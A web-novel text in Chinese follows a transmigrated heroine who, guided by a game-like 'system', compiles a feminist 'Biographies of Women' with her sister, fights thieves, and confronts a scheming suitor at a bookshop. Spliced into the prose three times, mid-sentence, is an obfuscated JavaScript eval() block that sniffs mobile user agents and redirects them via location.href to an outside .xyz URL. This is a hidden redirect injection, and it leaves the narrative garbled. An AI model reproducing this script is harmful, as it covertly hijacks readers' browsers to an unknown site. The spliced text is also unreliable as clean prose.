马香兰一听说是重修经典,还以为是要“匡正礼教、重塑家风”,大喜过望。若是真让这姐妹俩撰写新的《列女传》,不正好可以平息之前杜家二小姐不服礼教的传言。 当然,这并不是传言哈。 马香兰当即拍板应允,还主动表示要请她那位做书商的哥哥帮忙印刷出版。她的哥哥继承家业,经营着华亭县里最大的一家书坊——墨香斋。 可马香兰哪里知道,姜婋和杜含章要编的这部《列女传》,早已不是她心目中那个“贞烈教科书”了。 * 这几日,姜婋清晨教女眷练防身之术,白日上课学经商之道,晚上便与杜含章一起伏案修书。 她还动员全宅女子帮忙抄写、整理,承诺事成后按贡献比例分钱。 这晚,姜婋照例在杜含章闺房里编书,素书与巧珠也在帮忙。 巧珠不识字,只能研墨裁纸;素书在含章教导下识得些许字,便试着誊抄。 她们将历朝列女大致分为七类:贤明、忠勇、仁义、孝道、才慧、贞节、节烈。 姜婋提出:“既然是新编,就不能再着重在贞节,应当多列举前五类女子。” 杜含章点头:“忠勇者,自不必说,指的是参与国事、为国尽忠。古有后汉姜叙母、晋代荀灌、隋代冼夫人、宋代梁红玉……这些女子皆身涉战事,巾帼不让须眉。” 她顿了顿:“再说,贤明一类,也有很多女子以自己的言行影响着国事。如齐桓公夫人卫姬阻齐伐卫、楚庄王夫人樊姬讽君用贤……妇人之言,亦可辅政辅国。” 姜婋翻着书卷:“才慧也不能少,之前的《列女传》还有《辩通传》,专门表彰女性的机智与辩才。像齐钟离春,冒死自请见齐宣王,陈述齐国危难四条,救齐国于危难。再如晋弓工妻、赵佛肹母……个个驰骋辩才,出头露面,毫不怯懦。” 她又道:“我们这本新传,还要多选些有反抗精神的女子,比如为父报仇的赵娥、屠尽仇家的申屠氏、披甲杀敌的秦良玉、乃至撰《女论语》的宋氏姐妹,都值得一写!” 杜含章认同,正欲记下,见素书神色迟疑,便问她意见:“素书,你有什么想法?” 素书犹豫道:“我只是觉得,除了各国 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姜婋郑重道:“姐姐,你的画比文字还要重要。我们这本书面向的不仅仅是识字的女子,更多的是不识字的女子。你的画相当于就是在她们脑中,种下一颗种子。你若画得纤瘦骨感,她们就觉得女子本该柔弱。你若画得强壮有力,她们便觉得这才是女子应该有的样子。与其说,你是在画一幅画,不如说,你是在塑造万千女子心中所向往的‘她自己’。” 杜含章恍然:“好,那我再改改……” 她沉吟片刻,提笔将那柔弱纤瘦的梁红玉,一点点修改成筋骨结实、神采昂扬的模样,笔锋一转,将她顾盼神辉的双眸画得炯炯有神。 姜婋赞道:“这才像抗金英雌!” 杜含章问:“婋婋,‘英雌’这词儿是你杜撰的吧?” 姜婋翻着书道:“倒也不是胡编。只是翻遍这些书,每每夸赞女子之时,必先说,‘虽巾帼之流,但有丈夫之气’。不断暗示女子的义行应为‘男子之行’,而非是女性应有的行为。即便是夸赞女子英勇,也是在男性化的词语前冠上‘女’字姑且用之……这着实令我难受。” 她心中默默腹诽,这要是在上个副本的回夏就好了,根本不会有这种麻烦。 姜婋叹了口气道:“看来我们需发明一些新的词汇,不然也谈不上《新列女传》!” * 说话间,巧珠打了个大大的哈欠。 姜婋侧头问道:“巧珠,你怎么困成这样?” 巧珠揉了揉眼睛:“二小姐,我哪像你这般精力旺盛。我每天早上还要扎马步,晚上又听你们讲这些我听不懂的事,不困才怪……” 姜婋摇醒她:“你可不能困!巧珠,你才是这本书最重要的目标受众。我问你,这本书难道不吸引你吗?” 巧珠撇嘴:“我又不识字,图翻完了,也就看完了。” 姜婋点头:“你说的有道理,看来我们这《新·列女传》得想一个卖点才行。 “什么是卖点?”杜含章问。 “就是让女子们愿意买这本书的理由。除了新的女子传记、新的画像,还有什么……能让女子们愿意来买我们的书,还愿意时常翻阅呢?” 姜婋转头道:“巧珠,我问你,一本什么样的书,才能让你看完图后也想再看,不会丢在一边?” 巧珠歪头想了想:“除非这书跟我平时干的活有关。比方说,书里告诉我怎么洗掉花布上的污渍,怎么纳鞋底不硌脚,怎么剥蒜快又不辣手……” 素书也接道:“院子里的丫鬟婆子都找我帮她们读些杂书,里面写的都是闺中病症、妇人调理之法。什么月事来时如何不腹痛,身上起了疹子怎么办之类的……” “你们的建议太好了!” 姜婋大喜:“那我们在书后附上生活妙招和女子生理常识,这样这本书就不仅仅是《列女传》,还是女子的生活百科全书!” 她说罢朝素书、巧珠作揖:“那生活妙招的部分,就拜托两位啦。” 素书不好意思起来:“二小姐折煞我了,我也不懂多少,明日再问问石大娘和春芽她们,看她们都知道哪些小法子。” “不用那么麻烦!” 巧珠灵机一动:“二小姐,您明早教我们练功时,不如让每个婆子、丫鬟都出一条妙招,出一条就少蹲一刻钟马步,您说如何?” 姜婋笑得前仰后合:“就你鬼主意多!不过,练功可不能偷懒。还有你不识字可不行,从明日起,你不仅要练功,还得和我学识字!” “哎呀,救命啊!小姐——”巧珠撒起娇来。 杜含章与素书也笑出声来,四人笑作一团,笑声穿过闺阁,在月光下荡开。 屋内烛火摇曳,窗纸之上,映照出四人或研墨、或画图、或誊写、或裁纸的身影,俨然一幅温暖生动的“月下猛女图”。 71.11 半个多月后,在杜宅内院众女子的齐心协力下,《新·列女传》终于修订完毕。 眼见书稿在手,姜婋和杜含章却不放心将它托给其他人送往书坊。况且万一若内容有异议,还是当面沟通更为稳妥。 于是姜婋便与马香兰商议,想与姐姐亲自出门一趟,将书稿送至舅舅的墨香斋。 马香兰也未多做阻拦,毕竟她们此行所办的是正经事,此书若能刊行,无论对杜家还是马家,皆有裨益。她爽快点头,还叫人准备两架软轿相送。 * 去墨香斋当日,姜婋坐在轿内,心情也和帘子上的流苏一样,雀跃荡漾。 她撩起绣帘一角,望着街道两旁热闹的风景,想到距她上次窜墙跃脊而出,不过一旬,如今已能正大光明地走出这座宅门。 这自由的空气,闻着都是甜的。 系统突然发声:“玩家,看来你这次出门心情不错。” 姜婋放下帘子:“当然不错。不过我高兴的,可不只是因为出门。” 系统:“那还为何?” “我开心的是,我和女主角共同完成了一件事情,这对于杜含章来说,一定意义非凡。” 姜婋得意道:“别小瞧这一件件小事,日积月累之后,一个人就会对自己有充分的自信和笃定。” 此时,另一架软轿里,杜含章虽神色如常却按捺不住眼中的喜悦。 她轻轻抚过怀里那摞薄薄书稿,仿佛重于千斤。 因为这不只是书稿,更是她人生第一次与她人合力完成的作品。 * 姜婋的轿子里,她继续地朝系统道:“不过这只是我开心的第一件事,修《新·列女传》,简直一箭N雕!” 系统:“怎么说?” “这第一个好处,就是我刚才说的,我和女主一起完成了创业小目标。第二点,此书修订出版,让我们有了收入,也回答了女主的问题——不靠结婚怎么活下去。第三,这本书凝结了杜宅女子们的智慧,让大家团结一心。就连素书也不再对我横眉冷对了。第四嘛,若这本书卖得好,无数女子看了这本书,就会像我第一次看到《她们的传奇》一样,被里面的女性榜样所震撼。” 姜婋目光灼灼:“女性榜样的力量是非常强大的,一直以来,我们不是缺少榜样,而是不知道历史上本就有千千万万个与我们一样、有勇气、有反抗精神的女子,只是她们被掩埋,被篡改,被消音……” 她又正色道:“还有最重要的一点,我和杜含章因为这件事情能走出家门,与这个社会建立了连接,而且并不通过男人。所以说,这次的小小创业,是我打造‘女性共居花园’的第一步!” * 这时,轿外传来阵阵的叫卖声。 姜婋撩起帘子一看,原来是路过桥头集市,不远处有卖莲子的、棱角的、枇杷的、喧声鼎沸,好不热闹。 她心痒难耐,立刻喊道:“停轿,我要下去!” 巧珠忙道:“二小姐,街上人多,您怎么能随便下轿呢?” 姜婋眨了眨眼:“巧珠,你觉得你拦得住我吗?” “我……” 巧珠语塞,毕竟她家二小姐,是翻墙跃脊的主儿,一张帘子又怎拦得住? 姜婋轻盈下轿,奔到另一架轿子前,掀开帘子道:“姐姐,前头有卖莲子的,我去买点,你要吃什么?” 杜含章微笑摇头:“我不要了,你去吧,我等你。” “不用等我——” 姜婋边走边摆手:“说不定我比你们还早到呢!” 素书忍不住问:“二小姐不跟我们一块坐轿子去啦?” 杜含章了然:“她呀,准是被憋坏了。难得出来一次,还坐什么轿?待会儿恐怕她又凌空踏瓦地来追我们了。” 说罢,她和素书对视一眼,掩面轻笑。 “我们走吧。”杜含章道:“说不定,婋婋还真比我们先到呢。” * 姜婋下了轿子,一溜烟跑到桥头的集市。 此刻正值早市时分,挑担的小贩、卖货的商旅、挑货的路人往来不绝。 她来到卖莲子的老妇近前,只见她扁担里的莲蓬水光盈盈。 老妇一见是位穿着不俗的小娘子,连忙招呼道:“小娘子有口福,这可是今早刚摘的新莲子,鲜得很!” 姜婋笑道:“我这几日口干火盛,正需要莲子清清火气。” 她拣了一把最饱满圆润的莲蓬,从腰间钱袋中掏出铜钱递上。 老妇接过钱,又从担中抽出三枝荷花:“姑娘买得巧,今日头三客,送一束开头彩。” “哟,还有赠品?您可真会做生意。” 姜婋接过荷花,只瞧枝梗挺直、花苞带露,笑道:“这荷花回去送给我姐,她肯定喜欢。” 话音未落,身后一阵细微的动静掠过。 等她回神来,却发现方才腰间系的钱袋竟没了! “有小偷!” 姜婋大喝一声,猛然回头,只见一个瘦猴模样的男子已撒腿朝前方巷子窜去。 “敢偷我的钱,哪里跑?!” 姜婋抬腿便追,挤出人群,追入小巷。 * 可深巷曲折,姜婋七拐八弯,越跑越僻静,直至转入一处死胡同,四周一下蹿出一伙人来。 姜婋啧了一声,嘴里衔着一颗莲子:“原来是个小偷窝点。” 三名贼汉围上来,领头的咧嘴□□:“这水灵灵的小娘子胆子不小,居然自己送上门来。正好,哥几个好久没快活了。” 说罢,几人哄然大笑。 姜婋哼笑:“谁快活还不一定呢!说起来,我也好些日子没打人了,都有些怀念了。少废话,放马过来吧!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131318|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那群贼汉以为人多占优,便一拥而上。 姜婋猛地掷出手中莲蓬,十几颗莲子如雨点洒出,砸得对面三人满脸开花。 “哎哟!”“什么东西?”“有暗器!” 未等他们反应,姜婋已手执三枝荷花袭来,身姿优雅如舞,却招招狠厉无比。 她环臂挥舞,花瓣飞散,遮住贼人视线! 姜婋边打边道:“这一招叫——乱花渐欲迷人眼。” 一名贼汉刚要骂人,结果花蕊插入他鼻孔,呛得连打三个喷嚏。 此时,另一贼人正欲从背后偷袭。 姜婋足尖一点,身形跃起,手中荷花倒卷如鞭,抽中贼人手腕。 “这一招,专克偷袭。名曰:出淤泥而不染。” 领头的贼人挥拳袭来,姜婋手腕旋转,以一枝含苞待放的荷花抵挡。 她虚晃佯攻、旋身挑打,动作俏皮狠辣,最后反手一扫,将荷花抽过贼人面门,留下一道粉痕。 姜婋咯咯大笑:“此招乃是——浓妆淡抹总相宜。” 几番连招下来,贼汉哀嚎连连,一人喷嚏不止,一人脸上开花,一人甩着被抽疼的手腕。 忽地,三人怒从心起,对视一眼,又齐齐扑来。 此时姜婋手中的荷花已打得花瓣零落,她干脆以荷叶当作大扇,横扫而出,这招看似温柔,可打在脸上着实不轻。 她挑眉道:“这一招叫,接天莲叶无穷碧!” 话音未落,三名贼人当场被横扫在地。 * 姜婋拍了拍手,神情傲然:“就你们几个连给我喂招都不配的货色,还不赶紧把我的钱袋子还来!” 三人贼眉鼠眼互相对视,丢下钱袋子,仓皇要走,又被叫住:“等等,里头的银子呢?” 贼人们咬牙,从怀中摸出几块碎银,扔在地上,脚底抹油般四散而去。 姜婋望着几人的背影,冷哼一声,捡起地上的银两,将其塞回袋中。 她朝系统吐槽道:“这明末的治安也太差了吧?我好不容易出来一趟,还能被偷,真是晦气!系统,你怎么不提醒我此行会遇到贼呀?” 系统:“玩家,这是你和女主生触发的新支线。「修编《新·列女传》」不是原文的内容,本系统无法未卜先知,你此行的变故。正所谓,一石入水,涟漪千里。你触发了新的故事,会产生怎样的涟漪也未可知。” 姜婋收起钱袋子:“我今日不过是遇贼走岔了路,等我回到主线,不就好了。” 话音未落,系统警报陡然响起:“玩家,男主即将出现在女主三米范围之内!” 姜婋眼神一凛:“什么?柳如琢怎么突然上线了?他在哪?” “墨香斋。” “……糟了,这不会就是你说的涟漪吧?” 姜婋来不及细思,拔足狂奔,往墨香斋而去。 72.12 且说这边,杜含章的轿子刚好抵达墨香斋门前。 她掀起轿帘望了一眼,未见妹妹的踪影,便道:“看来我们比婋婋早到了。” 素书问道:“小姐,那我们要等等二小姐吗?” 杜含章想了想:“既已到了墨香斋,自该先入内向舅父问安。若在门前久等,反倒失了礼数。那我先进去吧。” 她又回头吩咐:“巧珠,你守在门口。若婋婋来了,告诉她我在里头等她。” “是。” 杜含章掀帘下轿,抬手整了整衣襟,怀中抱着一叠用细绢包好的书稿。 她低头提起裙摆,正欲拾阶而上。 忽然,书坊的门“砰”地一声被撞开,一道身影衣袂带风,疾步冲出。 两人撞了个正着。 杜含章脚下一滑,半个身子踏空,整个人往后仰去。 怀中的书稿顷刻间飞散,纷纷扬扬,如一群被惊起的纸鸽,在风中扑闪。 杜含章惊呼未出,一只手臂已稳稳揽住她的腰。 那青袍男子低头抱住她,眉眼间还带着一点措手不及的歉意:“小心——” 在纷纷散落的书稿中,两人四目相对,时间仿佛就此停顿。 原来,此人正是男主角——柳如琢。 一瞬间,浪漫爱法则悄然转动,整个世界都像失了焦,只剩下女主和男主彼此交缠的视线和凌乱如鼓的心跳。 两人对视片刻,这才察觉失了礼数,忙各自后退一步。 柳如琢作揖道:“在下失礼了,方才鲁莽,冒犯之处,还请小姐见谅。” 杜含章以帕掩面,轻声答道:“也是我走得急了,多谢公子相扶。” 她缓缓抬起眼眸,这才细细打量面前之人。 只见他一袭青色织锦长袍,虽略显陈旧,却掩不住翩翩气度。他手里抱着一摞旧书,气息微喘,显然是有急事缠身。 杜含章视线上移,对上那人的眉眼,在晨光的映照之下,他连眼睫都罩上一层光晕。 好奇怪…… 杜含章只觉这人莫名熟悉,竟有种一见如故的错觉,仿佛在梦中见过一般。 却殊不知,这正是受「女主必为男主心动法则」的影响。 她出神之际,一张书稿落在肩头,这才回过神,忙俯身拾起散落的书稿。 素书与巧珠也忙上前帮忙。 柳如琢见状,亦弯腰相助。他捡起其中一页,看见里面的插画,神色微动。 片刻后,他将一摞书稿还给杜含章:“敢问,这画可是小姐亲手所绘?” 杜含章点了点头。 柳如琢赞叹道:“小姐笔法细致,画风洒脱,最难得的是画中女子不落凡俗,观之令人神清。” 杜含章被夸得脸颊微红:“公子过誉了,这些不过是我随手涂抹的拙作罢了。” 说罢,她盈盈一礼,转身步入墨香斋。 * 柳如琢原本是要急着赶回家中,可走出两步,脚却挪不动了。 刚才那一撞,竟令他心神微荡,总觉那位小姐仿佛在哪里见过…… 思忖片刻,他终于想起,这不就是当日在茶肆门前见到的杜家嫡女吗? 杜家掌着华亭的布料生意,若能攀附此门,岂不是能撬动整座布业金山?眼下她独自一人,不正是天赐良机? 生于没落书香世家,自小看惯世态炎凉的柳如琢,早已习得了“借力而行”的生存之道。 虽说士农工商,商在最末等,不过这位杜家嫡女,姿容上佳、气质出众,又有几分才情,未尝不可弥补出身之失。 想到这里,柳如琢眸光微动,虽有动情,但更有算计。 他面上风雅如常,脚下却一转,折返回去…… * 杜含章步入书坊,便被伙计引至内斋。 长案后,一位面容清癯的中年男子正执笔圈改一册旧抄稿,听见动静,搁笔起身。 “含章来了。”他抬眼笑道。 此人正是马香兰的兄长,墨香斋的主人。 杜含章上前行礼:“舅父安好。今日贸然上门叨扰,还请见谅。” 舅父笑着捋须:“何来叨扰之说?能为你与晓晓重编的《列女传》,是我们墨香斋的荣幸才是。” “舅父谬赞了,这不过是我们闺阁女子的一时兴起,只怕书稿尚不成气候。” 舅父看了眼她身后,问道:“晓晓呢?” “她稍后便到。” 杜含章将书稿双手奉上:“这是书稿,还请舅父斧正。” 舅父接过:“你且稍后,先容我细读一番。” “好。” 忽地,舅父指了指外间,神秘兮兮道:“外厅第五排书架上,有几部新到的孤本古籍,是别家书肆都没有的,你去看看吧。” “多谢舅父。” 杜含章行了个礼,转身而去,身影很快融入书林之间。 * 墨香斋内书架林立,墨香幽幽,微风透窗而过,纸页微响。 杜含章在架子之间穿梭,她平日里最爱看书了,每每置身书海,总觉心静神宁。可今日却不同了,她明知书在眼前,心却早已游离书外。 只因方才门前那一撞,令她心中泛起涟漪。 架影层叠,文帙错落,杜含章在书林中来回辗转,从一列走向另一列。 她转身的刹那,一道青色身影正从另一边缓步而来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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柳如琢道:“是啊,倒真是巧了。小姐姓杜,在下姓柳,皆非常见之姓,却偏在此处,因一本《牡丹亭》而遇。若说此中全无缘分,恐怕连书中人也不信了。” 这话言外之意,分明是将二人比作杜丽娘与柳梦梅。 杜含章不知如何应答,但心中却泛起一阵异样的悸动。 此情此景,倒真是与《牡丹亭》中“惊梦”一折何其相似…… 就在她沉浸在自我编织的幻梦中时,门口传来一阵响彻屋瓦的大喊—— “姐姐!我姐姐呢!” 杜含章回过神,听出是婋婋来了,忙行礼告别:“此书,还是请公子先看。” 说罢,便拾裙而去。 书林深处,柳如琢立于原地,望着她离去的背影,不动声色一笑。 73.13 书斋门前,杜含章循声找来,忙举帕掩住姜婋的嘴:“别喊了,我在这儿呢。” 姜婋拉住她,凝目一瞧:“姐姐你没事吧?脸怎么这么红?” 杜含章其实还未从方才的偶遇中回过神,连耳根都染了薄红。 她别开目光,故作镇定:“我能有什么事?倒是你,怎么来得这般晚?” 姜婋气呼呼道:“别提了,半路遇上几个小贼,我都收拾了。” 这时,书斋深处传来笑声,一人走出:“我还当是何人大呼小叫,原来是我那外甥女来了。” 姜婋行礼:“舅舅安好。” 此刻,脑中系统骤响:“玩家,男主角正在书斋之中。” 姜婋脸色倏然一变:“舅舅,你这书斋里招贼了。” 舅舅大惊:“啊?有人偷书?” 姜婋冷声道:“不是偷书,是偷心!我倒要看看,这贼在何处?” * 说罢,她疾步冲入书架之中。 姜婋左拐右穿,风风火火,冷不丁撞上一名正在翻书的男子。 她一把扣住对方手腕:“是你!” 男子吓得发抖,书都掉了:“我、我没偷书,就是撕了一页……” 系统:“匹配失败,此人并非男主,为路人甲。” 姜婋吼了一声“等会儿再找你算账”,就甩开他拐入下一排书架,又见瞥见一人倚在书架下,面目斯文,正低头翻书。 她一个箭步冲上去,攥住衣袖:“柳如——” 男子抬头,系统又道:“匹配失败,路人乙。” 姜婋咬牙欲转身,忽然眼角一瞥,只见一道青衫身影朝门口行去,正与杜含章擦肩而过。 系统警报骤响:“危险预警,男主已进入女主心动半径,即将触发「女主必为男主心动法则」!” 姜婋脸色骤变,来不及思考,拔步冲上,动作如兔起鹘落,猛地拽住那青衫男子手腕—— “哪里跑?” 脑中系统响起:“匹配成功,此人确为男主角柳如琢。” * 柳如琢不明所以地望着她:“这位小姐,你这是作甚?” 姜婋厉呵:“你问我?我还想问你呢!你怎么会出现在这里?” 柳如琢虽有些莫名,但也认出来,她正是那日大闹茶肆的杜家二小姐。 他反问道:“在下为何不能在这?墨香斋乃书香之地,素来不设门槛。小姐此言,未免太莫名其妙了吧?” 姜婋气得脱口而出:“你不是该等到下个月科举那章才登场吗?现在才第十七章啊!你提前登场,把我所有计划都弄乱了!” 系统立即提示:“警告:玩家发言已突破第四面墙,请立即修正。” 姜婋怒火上涌,咬着牙道:“谁说墨香斋不设门槛,从今往后,你不许再踏进墨香斋半步。” 杜含章闻言忙道:“婋婋,你这是做什么?柳公子他——” “你叫他什么?” 姜婋眼神骤冷:“柳、公、子?” 杜含章微怔,一时语塞。 姜婋猛地拽住柳如琢的衣袖,气急败坏道:“说!你到底给我姐姐灌了什么迷魂汤?才见一面就让她维护你?” 柳如琢见识过她如何行为怪诞,言语疯癫,遂不愿理会,他欲转身离去,姜婋却死死拉着不放。 “你给我站住!” 两人一拉一扯间,只听呲啦一声—— 柳如琢怀中的《牡丹亭》,竟从书脊裂开,撕作两半。 纸页纷飞如蝶,空气一时静止。 舅舅第一个反应过来,心痛大呼:“哎呀!这可是玉茗堂定本的《牡丹亭》孤本啊!” 姜婋脸色一变,这不正是姐姐最喜爱的书吗? 她望向杜含章,只见她怔怔站在原地,满眼心痛…… 姜婋反应过来,是自己一时冲动酿下大错。 舅舅急道:“晓晓,你这是做什么?你娘说你近日行为乖张,我还不信。今日一见,果然是胡闹至极!” 姜婋心道,这怎么卖能怪自己呢?明明是怪男主,谁让他突然登场,谁让他把这书藏在袖里…… ——等等,那本书刚才是在袖子吗? 这时,柳如琢开口:“马掌柜,不如让我将书带回家中略作修补。家父生前酷爱藏书,也教过我几分修补之法。” 舅舅旋即点头:“对对,柳翰林昔年修补书画,堪称一绝,我也受教过几回。既如此,那就有劳柳公子了。” 柳如琢将书拢起,正要离去,忽又驻足回望,朝杜含章一揖: “请杜小姐放心,在下必会视此书如杜丽娘,倾心修补,定使之起死回生。” 此言一语双关又暧昧至极,杜含章心神微乱,却不敢多言,忙敛衽一礼: “多谢柳公子。” 系统提示音响起:“检测到女主对男主好感度上升。” 姜婋见此,后槽牙都快咬碎了。 没料到自己冲动之下,非但没拦住男主,反倒成就了男主的高光! ——就他会修书,咋不去故宫修文物呢?可把他能耐死了…… * 一场闹剧过后,终是得商议正事。 舅舅与二人协定,先将《新·列女传》刻印几十册,于熟人和闺阁之中小范围传阅,等有回响,再行加印。 待从墨香斋出来,已近黄昏。 杜含章坐上轿子,谁知姜婋竟横插一脚,硬生生挤了进去,一副誓要刨根问底的模样。 她细细盘问姐姐跟柳如琢今日是如何相遇,又如何相识。 杜含章毫不设防,便将她与柳如琢先在门前相撞,后在书架相遇之事娓娓道来。 谁知刚说完,姜婋就冷冷道:“姐姐,你可得当心些,别被那柳狐狸给骗了。” 杜含章蹙眉:“婋婋,柳公子斯文有礼,怎会是你口中的‘狐狸’?” 在「女主必为男主心动法则」的作用下,她早已不自知地偏袒起柳如琢,反倒责怪起了姜婋。 “今日本就是你失礼在先,不分青红皂白便拽人衣袖,还扯坏了舅舅苦心搜集的《牡丹亭》孤本。” 姜婋一脸愤然:“那柳狐狸就是居心叵测故意接近你,我这么做是替天行道!” 杜含章却不解:“你与他只见过一面,为何如此以恶揣人?适才舅舅提起柳翰林,我才知他竟是柳翰林家的后人。” 她说着,目光流露出欣赏:“不愧出身书香门第,自有一份与生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141482|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俱来的气度与风骨。” 姜婋顿时眉头拧紧:“姐姐,你可莫被那柳家空壳子唬住了。柳翰林早逝,柳家已是家道中落。要不是在华亭有亲戚帮扶,恐怕柳如琢都读不起书。翰林之后又如何,柳如琢乡试考了三次才中举,还妄称翰林之子?他爹若泉下有知,怕是棺材板都要压不住了!” 杜含章神色微变:“婋婋,这就是你评人论世的标准吗?家世自有盛衰,清贫未必无风骨。纵使家道中落,那份谈吐与气度,岂是装得出来的?” 姜婋听得都快气笑了,作为一个手握剧本的人,她比谁都清楚柳如琢未来如何吃绝户,可杜含章并不知情。 此刻的女主角,正沉溺在那一场“游园惊梦”般的初遇里,误把柳如琢当作她的“柳梦梅”,以为他就是命中注定的情郎。 * 姜婋强行压住情绪,将方才二人的相遇拆解,分条缕析讲给杜含章听。 “姐姐,你刚才也说了,你们先是在门口相撞,然后又在书架重遇,你不觉得很奇怪吗?” “有何奇怪?” “他先前那么着急要走,还撞到了你,怎么又偷偷折返回来,悄悄跟在你的身后,故意跟你拿了同一本书,你不觉得——太过巧合?” 杜含章却一脸天真:“或许他突然想起,事情没那么着急,所以折返回来。喜欢同一本书……也许是命运使然。” “去他爹的命运!这世上哪来那么多的命运,所谓命运,分明就是人为!” “婋婋,你怎能说出这般粗言秽语?” 姜婋张了张嘴,耐着性子道:“好,那我接着给你分析。方才我扯的是他的袖子,他那书放在何处我都没见到,怎么突然就撕成了两半?分明是他想用那本书脱身,借此来诬陷我!” 杜含章蹙眉:“柳公子跟你无冤无仇,为什么要诬陷你呢?” “怎么无冤无仇了?我一下子就看穿他想要故意接近你的狐狸尾巴,他当然跟我有仇了。我看他就是自己故意把书扯坏,好借机修书一事讨你欢心,还顺带赢得舅舅的信任,一箭双雕!” 杜含章沉下脸:“婋婋,我看是你以小人之心,度君子之腹吧?” “我是小人?他是君子?” 姜婋怒声反问:“正人君子会在第一次见你之时,拿杜丽娘与你做比?正人君子会言辞暧昧、句句藏钩,故意引人遐想?正人君子会转身欲走又忽然折返,悄无声息尾随在你身后,刻意制造所谓‘重逢’?我看他分明就是个跟踪狂!” 杜含章蹙眉不语,神色已露不快。 就在此时,系统冷不丁响起提示:“玩家,检测到女主对你好感度下降,请注意言行。” 姜婋只能偃旗息鼓,暂时闭嘴。 只怕再说下去,她好不容易建立的姐妹感情都要降到0了…… 此刻,杜含章的心,已经完全坠入了那浪漫爱编织的游园惊梦里。 还有什么能比这命运一般的相遇更令人心动呢? 她蓦地想起柳如琢说过的那句话: “小姐姓杜,在下姓柳,皆非常见之姓,却偏在此处,因一本《牡丹亭》而遇。若说此中全无缘分,恐怕连书中人也不信了。” 很明显,杜含章已深信不疑。 74.14 夜深归房,姜婋一进门就气呼呼地质问系统。 “这到底是怎么回事?男主角怎么今天突然登场,打得我措手不及!我这段日子,好不容易才和杜含章建立起一点姐妹情谊,结果全被柳如琢搅了个稀碎!” 系统语气一贯平稳:“玩家,凡事有利有弊。你和杜含章开启「重修《列女传》」的新主线,固然实现了多重目标,可也埋下隐患。柳如琢确实是墨香斋的常客,而你们送书稿去墨香斋,本身就为他和女主的‘命运邂逅’创造了完美条件。” 姜婋捶胸顿足:“我要是早知道柳如琢今天上线,我说什么都不会出门送书!什么一箭N雕,结果全射偏了,都坏在这臭男主身上!” 系统:“玩家,请你牢记,这是一个‘浪漫爱叙事’框架下的宅斗副本。整个世界都以‘女男主感情线发展’为核心。虽然你努力在建设杜宅的女性花园,但这并不能够影响女男主的情感走向。” “是我大意了……” 姜婋不甘心地问:“可杜含章才见了他柳如琢一面,怎么就开始处处维护他。我为了拉近我们姐妹关系,做了多少努力,怎么还不如柳如琢几句唱词酸话?” 系统:“玩家,每一个副本的难度都会递增。第一个副本中,夏星澜身为09年的灰姑娘,她的认知差异是主要障碍。第二个副本中,昭离要弑父涅槃,挑战父权制结构是最大难题……” “而第三个副本最难的,也许正是你当年对女主角的吐槽。” 姜婋一愣,随即恍然:“我怎么把这茬忘了……杜含章确实是恋爱脑,但恋爱脑就是中毒了,也不能怪她,要怪柳如琢这‘下毒’的老狐狸!外表装成正人君子,心里却盯着杜家的家产,算盘打得比谁都响。” 系统语气中带着宽慰:“玩家,请勿气馁。故事还长,一切皆有转机。” “是我闯过两个副本,有些得意忘形了。” 姜婋反思道:“正如你说的,我每一次对故事的改变,都会带来不可预知的回响。凡事有利有弊……接下来,我得更小心了。” * 之后的日子,杜宅渐渐回归了平静的日常。 清晨,姜婋带领大家练习女子防身术,白日学习经商之道,夜晚则在灯下读书复习。 那日杜含章与柳如琢在墨香斋的偶然相逢,像是一缕掠过春水的微风,她虽未再提起,却在心头泛起了细微的涟漪。 她时常倚窗望花,对月叹息,平白中生出几分伤春悲秋的情绪来。 姜婋察觉到她的心绪,但没多说什么,只怕像上次那般越劝越搞砸。 她只是带着杜含章和院中女子尝试各种新鲜的事物,比如,改良肚兜款式和材料,怎么舒服怎么穿;再比如升级月经布样式,加长加宽为夜安裤;还制作健康餐,补充豆蛋奶;组织小型义卖会,托卖婆将院中女子做的手帕、香囊、扇面转化成能拿在手里的银钱。 这些新鲜的活动,令杜含章心情渐渐好转,姜婋松了口气,也暗自庆幸—— 还好这是宅斗文,男子天然被阻隔在宅门之外,倒是大大减少了那该死的「女主必为男主心动法则」的触发概率。 * 与此同时,《新·列女传》终于由墨香斋刊印发行。 起初,舅舅只印了区区几十册,先送给了几户与杜家往来紧密的商户人家,权作人情试水。 不想其中一家请来的闺塾师在别处授课时,随口念出了几句书中语句: “我们不要死去的女榜样,而是要活下来的她们。” “贞节的贞,是对自己忠诚。” “所谓列女,当是活出自我风采之女子,而非困囿礼教的行尸走肉。” 这番石破天惊之语,在沉闷的女学课堂中仿佛投下一颗惊雷,引得众女子彼此相传。 一时间,那些原本用于传授三从四德的女塾讲堂,竟成了传播《新·列女传》的土壤。 这书末尾还附上了姜婋亲撰的“白话妇科常识”与“闺中妙用百事贴”,以及杜含章还亲手绘制妇科插图,画面通俗易懂,语言幽默风趣,让曾经羞于启齿谈论月经的女子们可以借此书,普及生理卫生常识。 这本《新·列女传》不仅成为闺阁女子结社聚谈时的互赠之书,也在不识字的丫鬟婆子中广为流传。 